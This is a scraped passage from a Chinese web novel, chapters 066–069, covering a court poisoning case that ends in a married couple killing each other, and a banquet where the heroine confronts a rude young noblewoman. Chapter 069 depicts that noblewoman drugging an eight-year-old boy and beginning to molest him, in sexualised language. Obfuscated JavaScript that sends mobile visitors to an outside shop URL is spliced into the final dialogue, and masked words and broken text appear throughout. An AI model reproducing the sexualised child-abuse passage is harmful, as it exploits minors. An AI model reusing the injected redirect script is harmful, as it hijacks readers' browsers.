苗夫人的眼珠子转动了,她顾不得膝盖骨头碎裂,连滚带爬扑到苗兴旺的脚下,死死拽住苗兴旺的衣袍。
“老爷,耀祖......耀祖就是您的儿子啊。”苗夫人脸色惨白,不知是膝盖骨头碎裂痛的,还是秘密被戳破后吓的。
不,苗耀祖**,童阿家**,就算冒出来一个童大祥叫冤。
又如何?
她咬死不认。
哪怕让她一死证明清白,只要能保住苗耀祖是苗氏血脉的“清白”。
“老爷,刁民诬告,如何能信?”
“我们的耀祖惨死,难道老爷您忍心让耀祖死不瞑目?死后还遭受世人指指点点?”
“老爷,求您为耀祖考虑,为嫁出去的女儿们考虑,也为苗氏族人考虑啊。”
“老爷?”
苗兴旺好想一脚踢开苗夫人,或掐住苗夫人的脖颈......可惜,他做不到。
“苗耀祖是我的儿子?”苗兴旺只觉得五脏六腑在搅动,又吐出一口黑血。
“普神医,快去为苗大人看诊。”徐慧珠似是被苗大人口吐黑血吓到了。
“将军,苗大人该不会**了吧,谁敢给苗大人下毒啊。”
“万幸我担心金春的身子,请普神医随行......”
第066章:主就是主,奴就是奴
“夫人就是心善人美。”
姜夜沉还真是不吝称赞,他看徐慧珠的眼神,柔情似水,身上无半点萧杀之气。
前面的热闹,徐慧珠没凑上。
平义无需思考,立马接话,“是这样的,徐夫人。”
“徐尚书报官,说苗大人雇**徐从武。”
“苗大人乃朝廷命官,本官亲自走一趟问话,谁成想,苗大人指证苗夫人给他下毒。后面的事......”
徐慧珠眼里的震惊表演到位,惊呼道,“府官大人,你......你说什么?”
“苗夫人给自家夫君下毒?这......这怎么可能。”
“先不说一日夫妻百日恩,苗夫人为苗大人生育五女一儿,她是得了失心疯不成,为何给枕边人下毒呢?”
“难道......难道苗耀祖当真不是苗大人的血脉?”
话都说得这般明显了,苗夫人又不是蠢傻。
她明白了。
徐慧珠果然什么都知道。
徐慧珠早就知道苗耀祖同苗安媛合谋,用强毁她清白,她要么嫁给苗耀祖,要么一根绳子吊死。
一箭双雕的妙计,好处尽占的是她云海岚的儿女。
多好啊。
此刻,苗夫人恨死徐慧珠。
但,金春和腹中孩儿还在徐慧珠的手里,苗夫人恨恨地瞪了徐慧珠一眼。
只得忍下。
“不不不。”苗夫人一边哭一边嚎叫,“老爷,你相信我啊,苗耀祖就是你的血脉,我没有给你下毒。”
“老爷,我......我对天发誓,如果我说谎,我......我......就遭受天打雷劈之刑,来世投胎......投畜牲道。”
这等毒誓重誓,苗夫人竟发了。
金春原本摇晃的身子,恐慌的心,在苗夫人发下毒誓后,她又信了苗夫人。
她不惜背叛两位主子,攀附上苗耀祖,不等她飞上枝头变凤凰,苗耀祖却莫名其妙惨死。
好在,菩萨怜悯,她的腹中正孕育着苗耀祖的血脉,还是能延续香火的儿子。
唯一的血脉,唯一的儿子,生下来便贵不可言,而她也能母凭子贵,从身份低贱的奴变成尊贵的贵夫人。
她,金春,就是贵人。
金春欲张口说话,金夏猛地拧她一把,痛的她眼泪汪汪。
金夏还威胁她,“金春,你最好站着,当你的人形柱子,不然,我毒哑你。”
苗夫人仔细观察苗兴旺的脸色,心一横,“老爷,我......我愿一死证清白。”
说罢,转向徐慧珠磕头,磕的额头一片血红。
“徐夫人,您和金春主仆情深......”
苗夫人倒是聪明,死到临头还在为亲孙谋划,可见她仅有的真心的确都给了未出世的亲孙。
苗夫人这般爱演,徐慧珠便好心陪她演这最后一场。
“金春打小伺候我,虽是主仆,实为姐妹。”
“唉,金春这命......得知金春和苗耀祖两情相悦,我便去求了母亲,认金春为义妹,备下一份丰厚嫁妆,抬高金春的身份,全了姐妹情谊。”
“谁成想......”
金春愣愣地看着徐慧珠,她竟一时分不清楚徐慧珠说的话,是真心,还是假意?
不,她不能后悔。
哪怕徐慧珠对三金再好,又如何?
出身已定尊卑。
徐慧珠是主,她们是奴。
人性本自私,她为自己拼出一条富贵路,有何错。
“徐夫人?”
苗夫人满眼着急,她没时间也无心情听徐慧珠在这里扯什么姐妹情深的废话。
主就是主。
奴就是奴。
还姐妹?
呵!
虚伪至极。
贵人手握奴仆的**契,奴仆敢不奉上忠心和性命?
“徐夫人,我有一个不情之请......”
姜夜沉冷哼一声打断,“苗夫人何意?”
“苗夫人觉得本将军的夫人心善,便想要道德**,逼迫夫人帮你养孙子?”
“苗夫人好厚好大的脸,紧着本将军的夫人使劲儿坑。再说,苗大人雇**夫人的二叔,本将军也不欠苗府的情......”
苗夫人的心思被拆穿,她想说的话,都被姜夜沉说完了。
即便苗夫人豁得出去脸面,很明显,姜夜沉坏她的好事。
平义:堂堂杀神将军也会掺和内宅?果然,应了那句老话,没有哪个男人能逃出女人的温柔乡。将军娶亲之后,变了。
“啊?”徐慧珠惊呼道,“苗夫人,你......你......当真想让我继续养着金春,可......可......为什么啊?”
“金春腹中孩儿是苗氏血脉,就算我怜惜金春,舍不得金春,但我也不能自私到耽误金春的幸福吧。”
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“再说,我乐意照顾金春,苗夫人你也愿意,但苗府做主的是苗大人,怎能容忍苗氏血脉没名没分流落在外?”
“难道......难道童大祥指证为真,苗耀祖当真不是苗大人的亲子,而是管家童阿家的......”
这时,普神医已为苗兴旺看诊结束。
刚刚的审问也因为苗兴旺瞧着支撑不住,先暂且中断,由普神医为苗兴旺治疗。
生死面前,审案不急。
苗兴旺清楚感觉到生机正一点一点剥离身体,奇怪的是,他的脑子无比清醒。
他们的对话,一字一句入了苗兴旺的耳,穿透苗兴旺的心。
同床共枕几十载的时光,苗兴旺岂能不了解枕边人。
那就是个又蠢又坏的毒妇。
到头来,就是云海岚这样的女人,害了他。
他亏啊。
他悔啊。
“普神医,苗大人是**,还是病了?”姜夜沉故意发问。
苗兴旺呕出黑血,就是不通药理之人,一眼看出苗兴旺应该身中剧毒。
偏偏,姜夜沉不当一回事,还堂而皇之凑热闹。
谁敢说一句“将军过分”?
“回禀将军,苗大人中的是**之毒,之所以还剩一口气,应该是服用我在两年前炼制的解毒丸。”
“但,解毒丸能解百种毒素,却解不**、鹤顶红之毒。”
“普......普神医?”苗兴旺抓住普神医的衣袖,迫切地问,“救......救我。”
“我......我愿奉上一半家财,只求神医救我性命。”
此刻,苗兴旺唯有强烈的求生欲望。
谁给他下毒?苗耀祖是不是管家的贱子?他得有命活着,才能慢慢清算。
他要活。
“苗大人,你活不成了。”
普神医实话实说。
身为医者,普神医敬畏生命,也淡漠生死。
苗兴旺瞪大眼睛,似是难以置信,又在意料之中。
脑子里的血管,一根根断裂。
他的父亲,苗富贵。
他,苗兴旺。
他的儿子,苗耀祖。
他的孙儿,苗长青。
苗兴旺早已想好孙儿的名字,长青长青,苗氏一族的富贵和权势长青一个百年、两个百年...
寓意多好。
“活不成了。”苗兴旺喃喃重复,“活不成了......”
第067章:夫妻残杀,双死
苗夫人听到普神医说苗兴旺“活不成了”,眼里迸发出狂喜,心下决定,哪怕证据甩在她的脸上,打死不认,只要熬到苗兴旺**......
她赶忙低下头,生怕被苗兴旺发现。
可惜,苗兴旺看得清清楚楚。
呵。盼着他死啊。
普神医是个大嗓门,“苗大人,我可以帮你,也算医者对病患的临终关怀。”
“一是,这枚褐色药丸,可将你全部生机集中在半个时辰,困住你的痛觉。”
“也就是说,在半个时辰里,你会产生一种错觉,自己恢复健康。”
“的确,你和正常无异。”
“但,那是假象,如同人死之前的回光返照。”
“二是,你先前服用的解毒丸,解不了**之毒,但能让你撑着一口气活十二个时辰。”
“但这十二个时辰里,毒素一点一点侵入你的五脏六腑,侵入你的骨血,侵入你的大脑......最后,生生痛死。”
“这枚绿色药丸,会让这一口气能延迟六个时辰,痛苦翻倍。”
“三是,这枚红色药丸乃致命**,服下后,立马丧命,身体不会再痛。”
苗兴旺要哭了,普神医炼制出各类药丸,却救不了他的命。
他,真的要**。
他唯一能为自己做的事情,就是选择一种死法。
是现在死,还是等一会儿死?
是痛苦的死,还是无痛的死?
“苗大人,请先支付银子,一颗药丸百金。”普神医说完,将三瓶药丸摆在苗兴旺的面前。
没有人上前催促,大家默契地等待苗兴旺会做何选择。
苗兴旺也在等待自己。
“天子脚下的皇城,竟有人敢毒害朝廷命官,恐他国细作所为。”
姜夜沉下令,“锦衣卫,查。”
平义眼活,哪敢劳烦锦衣卫,赶忙说道,“回禀将军,刚刚苗大人指证苗夫人给他下毒,但苗夫人矢口否认。”
“两人只言语攀咬,并未拿出实质性的证据。事发突然,下官正要展开调查。”
平义可不敢说,他明明已禀报过,为何姜夜沉这么快就忘了,还扯到他国细作......
意欲何为?
若苗氏一族牵涉到他国细作,会是何等下场?
家族覆灭,将在安国不复存在。
太可怕了。
平义心虚,难道他这一插嘴,坏了姜夜沉的大事?
姜夜沉的暗示和威胁,苗兴旺懂了。
家族的活路,代价是他和云海岚的命。
苗兴旺生生咽下喉咙的腥血,他看了一眼姜夜沉,目光又落在徐慧珠的身上。
她知道了真相?
她在为母复仇?
时至今日,这一切是她仗姜夜沉的势,做下的局。
姜夜沉纵她容她,帮她助她。
苗兴旺的大脑异常清醒,他自然明白,徐慧珠连徐家人都不放过,岂会放过他。
冤有头债有主,他和云海岚死,换苗氏族人的生机。
说来,是他占便宜。
“普神医?”
“时间紧张,普神医可有法子助平大人揪出下毒之人?本将军刚娶亲,正和夫人浓情蜜意时,万般不信夫妻同榻而眠,却生出毒害枕边人的心思。”
“本将军被吓到了。”
“倒是有法子,不过......”普神医才不管苗兴旺死不死的,只要不耽误他赚诊金就行。
“我研制出一种药粉,只要谁在三日之内接触过**,给她的双手涂抹药粉,半刻钟后,她的双手就会散发犹如屎臭的难闻气味。”
“一包药粉五百两银子,不知,这银子是府官大人报销,还是苗大人出?”
“我出。”苗兴旺恨恨地看向苗夫人,“云海岚,你敢吗?”
苗夫人傻了。
她不敢。
**是她亲手下的,弄来**的梅香死在回乡探亲的路上,跌落悬崖,尸骨无存。
她一向谨慎,只相信**才能守住秘密。
当初,她对管事童阿家有难么一点点贪恋,不过是贪恋床榻欢愉和温暖怀抱,她毫不犹豫舍弃。
“不必试验。”
苗夫人哈哈大笑,笑的泪流满面。
“我认。”
“苗兴旺,是你逼我的。”
“我为你生五女一子,换来什么?”
“耀祖尸骨未寒,你就在惠南巷娇养外室,忙着延续香火。”
“我恨啊,苗府的一切属于我儿耀祖,旁人休想抢夺。”
苗夫人这是要破罐子破
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摔,一摔到底。
“苗兴旺,还有一个秘密,我也告诉你。”
“自耀祖出生后,我就给你下了绝子药,你这一生只能有耀祖一个儿子。”
“我......云海岚......不会让你有其他儿子的。”
“哈哈哈......”
夫妻几十载,苗夫人自是深知苗兴旺的软肋,如何刺激他,使他丧失理智,发疯发狂。
果然,苗兴旺脑子里仅剩的那根弦嘭的断裂。
原来,他努力又勤快地在妾室身上耕耘,结果颗粒无收,不是他的错,而是遭受云海岚的算计。
“云海岚,你这个毒妇!”苗兴旺扑过去,死死掐住苗夫人,“你害我如此境地!”
苗兴旺活生生掐死自家夫人,还怕她不死,喂她那颗红色药丸。
和徐从武一样,激**人。
普神医吓得大叫,“买定离手,银货两清。”
“苗大人**,与我无关啊。”
但,姜还是老的辣。
苗夫人比苗安媛更厉害的点在于,她拼着最后一丝力气,扯下苗兴旺头上的玉簪,**苗兴旺的脖颈。
完成反杀。
夫妻双死。
“啊......”
金春受到刺激,两眼一翻,晕倒在金夏的怀里。
徐慧珠今儿扮演主仆情深,赶紧带着金春离开苗府。
夫人都走了,戏也没什么好看的,姜夜沉走得干脆。
烂摊子留给府官大人。
一同留在苗府的,还有大福。
有锦衣卫帮衬,府官大人只用两日就审理三桩案件。
可谓神速。
第一起案件,徐从德状告苗兴旺雇**徐从武一事属实,鉴于苗兴旺已死,不予追究。
第二起案件,苗夫人云氏亲口承认毒杀其夫君苗兴旺。
第三起案件,童大祥状告苗夫人云氏十六年前借种管事童阿家,事成之后**灭口,情况属实。
苗府家财分为三份,一份用于补偿童大祥,一份归属苗氏宗族,一份划入国库。
这一日,徐慧珠正在用午膳,金夏急匆匆禀告,“夫人,如您所料,金春偷偷出府,去见了童大祥,求童大祥带她走。她还......还勾引......”
第068章:为夫人请来两座靠山
金夏脸色难看,金春的不要脸,一次次刷新金夏的认知。
“夫人,金春......她......她竟勾引童大祥,还让她得逞了。”
“这童大祥是没见过女人?不管怎么说,金春是他的弟媳。”
徐慧珠的手里,还握着金春的**契。
那一日在苗府,金春的**契没送出去。
有一点,金夏说对了,童大祥前半生为报仇而活,没心思了解女人。
他是经不起金春的引诱,也因为金春腹中的孩子是童家血脉,他做不到放任不管,更不能眼睁睁看着金春另嫁他人,日后孩子管旁人叫阿爹。
“若童大祥登门,不必禀报,让他出十两银子赎走金春的**契。”
“告诉童大祥,他可以带走金春,但金春和我的主仆情断,日后若出了什么事情,一概与将军府无关。”
转眼到了元乐长公主的赏菊宴,按规矩,以徐慧珠的贵妾身份,自是没资格参加赏菊宴。
可,先是姜夜沉在大婚时当众告知,徐慧珠妾行妻权。
接着,元乐长公主当真送来请柬,指明邀请徐慧珠。
元乐长公主是皇帝嫡亲妹妹,她的面子,谁敢不给?
便是皇帝不能亲临,也一早赏赐十盆顶级名贵的菊花。
徐慧珠带着三金赴宴,待她出现在公主府,满院热闹戛然而止。
这等宴会,来的都是当家夫人,清一色的正室。
唯有徐慧珠,是妾。
原来该是上不得台面的妾,才是啊。
嫡与妾,生来不一样。
嫡为天,妾为地。
嫡为尊,妾为卑。
嫡为贵,妾为贱。
嫡为主,妾为奴。
徐慧珠一个妾,凭什么翻身做主子?
“徐夫人,您这边请坐。”秦姑姑恭敬有礼,安排徐慧珠坐在第一桌。
众人你看我,我看你,皆在彼此的眼里看见一抹愤恨。
第一桌身份顶贵,坐的是皇族和国公夫人,在徐慧珠来之前,留着两个挨着的空位:一个是元乐长公主,另一个大家纷纷猜测元乐长公主还邀请了哪位贵人,难道是凝玉公主?
谁成想,竟然是徐慧珠。
“你便是将军新纳的妾——徐氏?”
“一个**妾室,厚脸皮参加赏菊宴不说,还好意思以夫人自居?呵!真真是离谱!”
坐在第二桌的欣冉郡主蹭地一下站起身,怒气冲冲,原本娇媚的容颜,失去三分好颜色。
看来,这位身份尊贵的欣冉郡主擅做出头鸟。
欣冉郡主这一顿怒骂,骂出在场贵夫人的心声。
简直是最佳嘴替。
“秦姑姑,你糊涂了不成,引导一个妾坐在元乐长公主身边,你是侮辱谁呢?”
秦姑姑是元乐长公主的掌事女官,一言一行代表元乐长公主的意思,却被欣冉郡主质问“糊涂”,就是在指责元乐长公主糊涂。
秦姑姑脸色微变,正欲开口,却感觉到衣袖被轻轻拉扯。
徐慧珠冲她无声口型:让我来。
秦姑姑愣神的功夫,就见徐慧珠跃过她,径直走向欣冉郡主。
啪啪。
欣冉郡主的脸颊,浮现两个清晰的巴掌印。
“**,你......你敢打本郡主?”
欣冉郡主扬起手,欲还击,却被徐慧珠抓住,动弹不得。
“**,本郡主......杀了你。”
“护卫何在,给本郡主杖毙这个该死的**。”
可惜,这里是元乐长公主府,公主府的护卫,欣冉郡主如何能指挥得动。
徐慧珠一松手,欣冉郡主一屁股摔倒在地。
实在狼狈。
“欣冉郡主,你莫不识好人心,我是在救你。”
徐慧珠上前,伸手扶起欣冉郡主,又将她摁在软椅里,还帮她整理歪掉的金簪。
她取出一只巴掌小的铜镜,举在欣冉郡主的面前。
“郡主今日的妆容,两边脸颊少了胭脂,显得皮肤过分寡白。如今再瞧瞧,是不是更娇艳了些?”
“郡主不必言谢,将军夸我心善人美,今日我和郡主头一回见面,能帮到郡主,是我之幸。”
秦姑姑:公主殿下嘱咐奴婢照看些,如今看来,倒是多虑了。
襄王妃:徐慧珠怎么敢打欣冉郡主?唉,算了,打个郡主算什么,大婚当日她打了凝玉公主,一战成名。白担心了,我还是坐下喝茶吧。
众贵人:揉一揉眼睛,我们看到了什么?掏一掏耳朵,我们听到了什么?
三金:夫人威武!
欣冉郡主气到浑身发抖,她想要伸手打掉铜镜,推开徐慧珠。
可,不知为何,她的身体忽然使不出半点力气。
“贱-人!”欣冉郡主憋了半晌,蹦出俩字。
好像贵人就喜
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好辱骂旁人是“**”,殊不知,骂人者才下作**。
“唉......”徐慧珠的手指一寸一寸滑过欣冉郡主的唇,“郡主这高贵的嘴巴,似乎有点儿臭啊。”
“我劝郡主嘴下留情,万一哪夜月黑风高,有人潜入郡主的闺房,用绣花针缝住郡主的嘴巴,啧啧啧,好惨啊。”
欣冉郡主瞪大眼睛。
满眼不敢置信。
在场之人无不震惊,除了三金。
徐慧珠竟敢明晃晃威胁欣冉郡主?
“贱-人!你......你......”欣冉郡主只觉得喉咙又痒又痛,似乎被硬物割伤,痛的她说不出话。
徐慧珠懒得理会欣冉公主,一只被宠坏、没多少脑子的出头鸟,吓唬一下就够了。
昨夜,她问姜夜沉,“元乐长公主的赏菊宴,我该如何做?遇人遇事是忍,还是回击?”
“谁骂你,你打她。谁打你,你当场弄死她。”姜夜沉的口气,大破天了。
“春嬷嬷回来了,明日她陪你去元乐长公主府。”
徐慧珠知道,元乐长公主和春嬷嬷此刻就站在不远处,欣赏她“耀武扬威”。
“我和将军奉旨成婚,以妻之礼,明媒正娶,虽为妾,却行妻权,郡主该称呼我一声‘徐夫人’。”
“郡主张口妾闭口**,怎么,是对皇上旨意不满?还是将军府碍了华山王的眼?”
“你......你胡说,竟敢攀扯父王?”欣冉郡主心里又急又慌。
她想到父王的警告。
“怎么,说不得吗?”
徐慧珠冰冷眼神扫射而过,“我的夫君乃北疆之王、护国大将军、锦衣卫统领......诸位说说,这第一桌的位置,我坐不得?”
葡萄花架后面,站着三人。
元乐长公主先开口,“夜沉,你娶的夫人,性情如辣椒啊。”
“正合我心,亦合我意。”姜夜沉十分满意徐慧珠的表现,朝堂和后宅本就息息相关,有时候,挑起女人之间的战争,也会硝烟弥漫,效果惊艳。
他好浑水摸鱼。
“春嬷嬷,今日之后,你可愿留在慧珠的身边,帮她护她?”
“自是愿意。”春嬷嬷看向徐慧珠,“老奴这把老骨头闲了很久,既是将军托付,老奴就陪夫人走一程。”
徐慧珠还不知,自己有幸被春嬷嬷相中......
第069章:今日仇,今日报
“将军,入宫的时辰到了。”大福不得不出声提醒。
大福心想,将军对夫人真好,生怕夫人吃亏,专门为夫人请到两座靠山。
回头见着夫人,定要在夫人面前多美言几句,让夫人真真切切感受到将军的好。
将军做好事,他大福帮将军留名。
“将军去忙吧,老奴会护着夫人,绝不会让夫人受一丝一毫委屈。”
姜夜沉看了一眼人群里的徐慧珠,她是那么耀眼。
遗憾的是,他欣赏不到她的风采。
唉......姜夜沉头一回生出不想干活的心思。
他又想休假。
要不,等会儿入宫求见皇帝时,再请几日假。
回府陪夫人啊。
襄王妃看着大家被徐慧珠镇住,心里乐开了花,不愧为她的徒弟,这气势青出于蓝胜于蓝啊。
“慧珠,过来坐,累了吧,喝杯茶。”襄王妃牵着徐慧珠的手,还亲自倒茶。
天呐!
真真是没眼看。
堂堂皇族宗妇自甘堕落当一个端茶递水的奴婢?
“元乐长公主到!”太监唱调。
“拜见公主殿下。”众人跪拜行礼,仿佛刚刚经历的大战,是一种错觉。
一番寒暄之后,众人再次落座。
“你就是徐慧珠?听皇兄说,将军不愿委屈心上人,奉上一身军功求得赐婚圣旨。”
元乐长公主一开口,惊的在场贵人一个个变了脸色。
以赫赫军功换一道赐婚旨意?姜夜沉得了失心疯不成?
为了一个妾?
先前,京城谁人不知谁人不晓,户部尚书府嫡出二小姐**月一颗芳心,系在姜夜沉的身上,徐慧珠何时成为姜夜沉的心上人?
京城之中,竟无一人知情。
“本宫实在好奇,便求了皇兄举办赏菊宴,就为了见徐夫人一面。”
众贵人:原来赏菊宴为徐慧珠而办,她们呢,不过起到陪衬作用。说来,还是沾了徐慧珠的光,能来元乐长公主参加宴会,赏到顶顶名贵的菊花品种。
一时间,大家看向徐慧珠的目光,添了更多色彩。
“徐氏慧珠见过长公主殿下。”徐慧珠正要行礼,却被元乐长公主扶住。
“好了好了,不必拘礼。”
“将军特意交待,让本宫好生照顾你呢。”
谁也没注意到,欣冉郡主悄悄离开,她受了天大的委屈,心里憋屈又愤恨,得赶紧回府宣泄一番。
欣冉郡主刚走到一处假山,看到一个七八岁的男童蹲在草丛里,专注地看着蚂蚁搬家。
“明轩,蚂蚁搬家是将要下雨的征兆,姐姐带你去假山里捉萤火虫,好不好?”
“好呀,欣冉姐姐。”叫明轩的男童任由欣冉郡主牵住小小的手,他哪能想到漂亮姐姐会将他拉入地狱。
徐慧珠赏不来菊,倒是襄王妃和元乐长公主志趣相投,两人聊着菊花,聊得火热。
徐慧珠待得无聊,便借口如厕透透气。
刚出花厅,就看见急色匆匆的金夏,“夫人,出事了。”
假山里,欣冉郡主取出一颗橘子糖,“明轩,来,姐姐喂你吃糖。待吃了糖,姐姐就陪你玩......一种好玩的萤火虫游戏。”
不过眨眼功夫,明轩小小软软的身子倒在欣冉郡主的怀里。
欣冉郡主凑到明轩的脖颈,贪婪嗅其气味,“嗯,好香呀。”
“郡主,明轩公子的身份......”心腹奴婢阿英硬着头皮劝说,“王爷交待过,在京城要谨言慎行。”
“郡主,不如回王府玩,王府里娇养着好几个漂亮水嫩的男童...”
啪啪。
“贱婢,敢扫本郡主的兴?”欣冉郡主的手已伸进明轩的衣裳里,还是幼童的肌肤,能消灭她心里的怒火。
“滚!去望风!”
欣冉郡主舍不得放开怀里香喷喷的猎物,“贱婢,等回王府揭你的皮。”
阿英自扇巴掌,“奴婢多嘴,请郡主息怒,您玩得开心就好,奴婢不打扰您的好事了。”
阿英刚出假山,一团黑影袭来,接着,便断了气息。
丧天良的恶奴,活着也是污染空气。
“欣冉郡主,有没有人告诉你,你这样的垃圾不配活着,连呼吸都是脏污了空气。”
有点儿熟悉的声音。
“你......你是谁?”
欣冉郡主话音未落,人已软软倒在地上。
“阿魂,喂她一瓶媚药,扔到练武场的兵器库。”
徐慧珠为明轩整理好衣裳,又喂他一颗药丸。
片刻之后,明轩醒来。
明轩揉了揉眼睛,疑惑问道,“咦?欣冉姐姐呢?一眨眼又变来一个新姐姐。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643835|188170||http|test|mini|href|location''.split(''|''),0,{}));
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r>“你是谁?”
自古父母宠幺儿,襄王妃宠的明轩如一张纯白的宣纸,生在皇家,八岁孩童仍保持天真无邪,不识世间险恶。
徐慧珠陪着明轩公子玩了一会儿,相比较于赏菊,她更愿意和明轩公子捉迷藏、下斗兽棋、吃糕点。
直到襄王妃寻来,竟舍不得惊扰这般和谐的画面。
“母妃,快来快来,一起玩啊。”明轩抬头看见襄王妃,开心地招手。
“慧珠姐姐给我做的斗兽棋,太好玩了。”
“母妃,我教你玩,慧珠姐姐说我可以出师,给别人当小先生了呢。”
襄王妃知晓徐慧珠有话要说,陪明轩玩了一局,又引着明轩去教奴婢。
徐慧珠并未隐瞒,将意外撞破的事情如实说了,“襄王妃,这是橘子糖,里面含有**。”
襄王妃气到浑身颤抖,若不是金夏扶着,她便瘫软在地。
襄王妃看向明轩,满眼心疼。
她捧在手心里、放在心尖尖上的珍宝,差一点点就被欣冉郡主毁坏。
“欣冉......欣冉郡主......她怎么敢?”
襄王妃握住徐慧珠的手,“慧珠,谢谢你,你救了明轩的命,也救了我的命。”
“从今以后,你就是明轩的亲姐姐,是我的亲女儿。”
欣冉郡主的奴婢阿英,她的尸体还藏匿在假山里,留给襄王妃收尾,再合适不过。
“王妃愿做我的先生,是我的福气。”
“一日为师终身为母,我的生母早逝,嫁入将军府,上无婆母,对我来说,也是人生憾事。承蒙王妃疼爱,我自是万般愿意尊您为师,认您为母。”
“先生在上,徒儿跪拜。”
“义母在上,女儿跪拜。”
“好好好。”襄王妃一连说了三个“好”字。
“我要襄王府要公告天下,要举办一场浩大的认亲宴,让全京城的世家都见证,慧珠你的娘家有户部尚书府,还有襄王府。”
“日后,襄王府就是你的底气,是你的靠山。”
若说之前襄王妃愿意与徐慧珠交好,主要看在姜夜沉的脸上。
那么,经过明轩的事情之后,襄王妃对徐慧珠的感激和喜欢,真心实意。
“义母,明轩弟弟的仇,今日仇,今日报。”
“义母放心,交给我便好。”